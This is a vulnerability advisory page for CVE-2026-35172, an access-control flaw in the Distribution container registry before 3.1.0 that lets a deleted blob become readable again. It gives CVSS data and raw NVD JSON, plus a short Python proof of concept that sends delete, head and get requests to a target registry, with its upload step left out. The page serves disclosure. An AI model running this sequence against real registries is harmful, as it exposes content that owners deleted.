Security Vulnerability Report
中文
CVE-2026-35172 CVSS 7.5 HIGH

CVE-2026-35172

Published: 2026-04-06 20:16:26
Last Modified: 2026-04-27 23:55:03

Description

Distribution is a toolkit to pack, ship, store, and deliver container content. Prior to 3.1.0, distribution can restore read access in repo a after an explicit delete when storage.cache.blobdescriptor: redis and storage.delete.enabled: true are both enabled. The delete path clears the shared digest descriptor but leaves stale repo-scoped membership behind, so a later Stat or Get from repo b repopulates the shared descriptor and makes the deleted blob readable from repo a again. This vulnerability is fixed in 3.1.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:distribution:distribution:*:*:*:*:*:*:*:* - VULNERABLE
Distribution < 3.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept Concept for CVE-2026-35172 # Prerequisites: Distribution < 3.1.0, Redis cache enabled, delete enabled. import requests REGISTRY_URL = "http://target-registry:5000" HEADERS = {"Authorization": "Bearer <token>"} BLOB_DIGEST = "sha256:abc123..." # 1. Upload a blob to Repo A print("[+] Step 1: Uploading blob to Repo A") # ... upload logic ... # 2. Delete the blob from Repo A print("[+] Step 2: Deleting blob from Repo A") del_url = f"{REGISTRY_URL}/v2/repo-a/blobs/{BLOB_DIGEST}" r = requests.delete(del_url, headers=HEADERS) print(f"Delete status: {r.status_code}") # 3. Access the same blob from Repo B (Stat or Get) # This triggers Redis cache repopulation print("[+] Step 3: Accessing blob from Repo B to trigger cache repopulation") stat_url_b = f"{REGISTRY_URL}/v2/repo-b/blobs/{BLOB_DIGEST}" r = requests.head(stat_url_b, headers=HEADERS) print(f"Stat Repo B status: {r.status_code}") # 4. Try to read the blob from Repo A again # Exploit: The blob should be readable again in Repo A print("[+] Step 4: Verifying blob access in Repo A") get_url_a = f"{REGISTRY_URL}/v2/repo-a/blobs/{BLOB_DIGEST}" r = requests.get(get_url_a, headers=HEADERS) if r.status_code == 200: print("[!] VULNERABILITY CONFIRMED: Deleted blob is readable in Repo A") else: print("[-] Failed to reproduce")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35172", "sourceIdentifier": "[email protected]", "published": "2026-04-06T20:16:25.607", "lastModified": "2026-04-27T23:55:02.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Distribution is a toolkit to pack, ship, store, and deliver container content. Prior to 3.1.0, distribution can restore read access in repo a after an explicit delete when storage.cache.blobdescriptor: redis and storage.delete.enabled: true are both enabled. The delete path clears the shared digest descriptor but leaves stale repo-scoped membership behind, so a later Stat or Get from repo b repopulates the shared descriptor and makes the deleted blob readable from repo a again. This vulnerability is fixed in 3.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:distribution:distribution:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.1.0", "matchCriteriaId": "B0361B73-DBB7-4E06-9F20-D9EE6C841671"}]}]}], "references": [{"url": "https://github.com/distribution/distribution/security/advisories/GHSA-f2g3-hh2r-cwgc", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}